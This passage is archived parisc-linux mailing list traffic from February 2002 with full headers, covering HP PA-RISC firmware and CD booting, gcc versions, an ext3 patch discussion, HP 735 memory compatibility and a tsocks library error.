	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14157

Ralf Hildebrandt wrote:
> > This machine has BootRom Version 1.1, could this be causing a problem?
> 
> You could try updating the BootRom via bootp/tftp,

If version 1.2 isn't available from HP firmware ftp site (see the FAQ),
then I'd not updated the 715/100XC.  If it is available, then the buglist
will be in the notes along with the firmware update.

> but booting from
> CDROM is something even the buggiest rom MUST handle.

THe CD-ROM might behave in some way that confuses the PDC.
It's only a bug if that CD-ROM was shipped with the machine.
ie, it's a tested and supported configuration.
That's why I keep harping about the SCSI device jumper settings.

grant



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 2.95
Date: Sun, 24 Feb 2002 19:42:56 -0800 (PST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0202241937580.6941-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621101 3830 80.91.229.3 (22 Nov 2014 01:51:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 24 20:42:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4907E482F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Feb 2002 20:42:58 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id 7F7087BC45
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Feb 2002 19:42:56 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14158

I have just installed the debian hppa port, and I am happy to have
an alternative to HP-UX.  I am having a lot of problems with gcc 3.0,
though and I would like to try gcc 2.95 or so.  Is there such a port, and
if so, where can I find it (binaries would be nice, but I can build the
source if necessary)?

Thanks...

-- 
Fashions have done more harm than revolutions.
		-- Victor Hugo




From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 2.95
Date: Sun, 24 Feb 2002 19:56:34 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20020225035634.GD18057@tausq.org>
References: <Pine.LNX.4.33L2.0202241937580.6941-100000@eiger.apptechsys.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621101 3834 80.91.229.3 (22 Nov 2014 01:51:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 24 20:56:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E4564833
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Feb 2002 20:56:44 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id hhqrlaaa for parisc-linux@lists.parisc-linux.org; Sun, 24 Feb 2002 20:56:19 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16fCFe-000786-00; Sun, 24 Feb 2002 19:56:34 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33L2.0202241937580.6941-100000@eiger.apptechsys.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14159

In reference to a message from Jeremy Drake, dated Feb 24:
> I have just installed the debian hppa port, and I am happy to have
> an alternative to HP-UX.  I am having a lot of problems with gcc 3.0,
> though and I would like to try gcc 2.95 or so.  Is there such a port, and
> if so, where can I find it (binaries would be nice, but I can build the
> source if necessary)?

No, there is no gcc-2.95 port for hppa-linux...

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ext3 patch
Followup-To: gmane.linux.debian.ports.hppa
Date: Mon, 25 Feb 2002 09:02:05 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20020225080205.GC32703@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621101 3840 80.91.229.3 (22 Nov 2014 01:51:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 01:02:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B71AB4834
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 01:02:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 32BE015C028; Mon, 25 Feb 2002 09:02:07 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 89CE815C036; Mon, 25 Feb 2002 09:02:06 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 677E115C034; Mon, 25 Feb 2002 09:02:06 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 15B1C633A8; Mon, 25 Feb 2002 09:02:06 +0100 (CET)
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14160

The recent ext3 patch on
http://www.zip.com.au/~akpm/linux/ext3/

( http://www.zip.com.au/~akpm/ext3-2.4-0.9.17-2418p3.gz )
applies cleanly to 2.4.17-pa30 -- I recommend committing it to the
kernel CVS tree, since

a) It will be in 2.4.18 anyway
b) it fixes some problems:

0.9.17  12 Jan 2002  (Included in 2.4.18-pre5)
-------------------

- Cleanup from Manfred Spraul which provides better randomisation of
  inode generation numbers.

- A locking fix which prevents possible panics when an application is
  using ioctl(FIBMAP) against a loaded filesystem.

- Buffer locking fix for journal descriptor buffers - fixes the
  "end_request: buffer-list destroyed" crash which can occur under
  heavy VM load.

- Buffer locking fix which could cause corruption if a process is
  reading rom the underlying block device while journal recovery is in
  progress.
  

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
If Bill Gates had a dime for every time a Windows box crashed...
                ...Oh, wait a minute, he already does.




From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Down: http://mkhppa1.esiee.fr/
Date: Mon, 25 Feb 2002 10:57:44 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020225095743.GL32703@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621102 3845 80.91.229.3 (22 Nov 2014 01:51:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 02:57:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2E4E4835
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 02:57:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP id EA36215C01F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 10:57:44 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP id 4EA4615C021
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 10:57:44 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 374FC15C01F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 10:57:44 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 1AD32633B2; Mon, 25 Feb 2002 10:57:44 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14161

http://mkhppa1.esiee.fr/
has been down for at least the weekend and still is.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"Kids today have so many advantages I never had. There's no telling what
I could've accomplished with a home computer and a handgun."  
 - LeMel Hebert-Williams. 




From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735-memory
Date: Mon, 25 Feb 2002 16:03:15 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F8815421EC@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416621102 3847 80.91.229.3 (22 Nov 2014 01:51:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 08:03:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D7A14837
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 08:03:24 -0700 (MST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id g1PF3HA17062
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 16:03:17 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <FL906HP2>; Mon, 25 Feb 2002 16:03:16 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14162

Last weekend I scrapped a 735,  apperently it did not survive transport.
The memory inside, is it usable for other HP-systems, like 712/100 or C110?

Hans



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 735-memory
Date: Mon, 25 Feb 2002 09:19:54 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <415FFB77FC9411448DF6014DF8A5C2C11AC217@umr-mail3.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621102 3850 80.91.229.3 (22 Nov 2014 01:51:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:42 +0000 (UTC)
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 08:21:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35A16483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 08:21:04 -0700 (MST)
Original-Received: from umr-mail3.umr.edu (umr-mail3.umr.edu [131.151.1.123]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id g1PFJsDU005380; Mon, 25 Feb 2002 09:19:54 -0600
x-mimeole: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] 735-memory
Thread-Index: AcG+Da/+sZ5sqJF5QMWFsRUlJGpHywAAgbow
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14163

No... as far as I remember, the non 735/755 style boxes used more
conventional looking simms/dimms. The 735/755 have those large
ide-connector-like boards.=20

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Witvliet, Hans [mailto:Hans.Witvliet@Alcatel.nl]=20
> Sent: Monday, February 25, 2002 9:03 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] 735-memory
>=20
>=20
> Last weekend I scrapped a 735,  apperently it did not survive=20
> transport.
> The memory inside, is it usable for other HP-systems, like=20
> 712/100 or C110?
>=20
> Hans
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tsocks Error
Date: Mon, 25 Feb 2002 08:51:57 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <2F1E6AB90ECAD311943700A0C9E3B15408002AA8@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621103 3852 80.91.229.3 (22 Nov 2014 01:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 09:52:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8EA84838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 09:52:00 -0700 (MST)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel11.hp.com (Postfix) with ESMTP id 6BBA960046E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 08:51:59 -0800 (PST)
Original-Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id 063329C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 08:51:59 -0800 (PST)
Original-Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <FQMHY5Y0>; Mon, 25 Feb 2002 08:51:58 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14164

Hello,

Has anyone used tsocks successfully?  I just installed the latest with
apt-get (tsocks version 1.7-4) and receive the following error on use:

relocation error: /usr/lib/libtsocks.so: undefined symbol: $$dyncall

Thanks in advance.

Sincerely,
Dennis Faucher
Technical Consultant
Hewlett-Packard Company
https://www.ecardfile.com/id/dennis_faucher (Contact)



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 patch
Date: Mon, 25 Feb 2002 17:49:59 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020225174959.B20667@parcelfarce.linux.theplanet.co.uk>
References: <20020225080205.GC32703@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621103 3855 80.91.229.3 (22 Nov 2014 01:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:43 +0000 (UTC)
To: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 10:50:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C40DA483A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 10:50:00 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16fPGB-0005xb-00; Mon, 25 Feb 2002 17:49:59 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020225080205.GC32703@charite.de>; from Ralf.Hildebrandt@charite.de on Mon, Feb 25, 2002 at 09:02:05AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14165

On Mon, Feb 25, 2002 at 09:02:05AM +0100, Ralf Hildebrandt wrote:
> The recent ext3 patch on
> http://www.zip.com.au/~akpm/linux/ext3/
> 
> ( http://www.zip.com.au/~akpm/ext3-2.4-0.9.17-2418p3.gz )
> applies cleanly to 2.4.17-pa30 -- I recommend committing it to the
> kernel CVS tree, since
> 
> a) It will be in 2.4.18 anyway
> b) it fixes some problems:

I'd rather not apply patches which will be in 2.4.18 anyway -- it makes
the merge harder.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tsocks Error
Date: Mon, 25 Feb 2002 12:50:54 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200202251750.g1PHotvD029339@hiauly1.hia.nrc.ca>
References: <2F1E6AB90ECAD311943700A0C9E3B15408002AA8@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621103 3857 80.91.229.3 (22 Nov 2014 01:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dennis_faucher@hp.com (FAUCHER, DENNIS)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 10:51:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A9A74841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 10:51:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1PHouFN029341
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 12:50:56 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1PHotvD029339;
	Mon, 25 Feb 2002 12:50:55 -0500 (EST)
In-Reply-To: <2F1E6AB90ECAD311943700A0C9E3B15408002AA8@xatl03.atl.hp.com> from "FAUCHER,DENNIS" at Feb 25, 2002 08:51:57 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
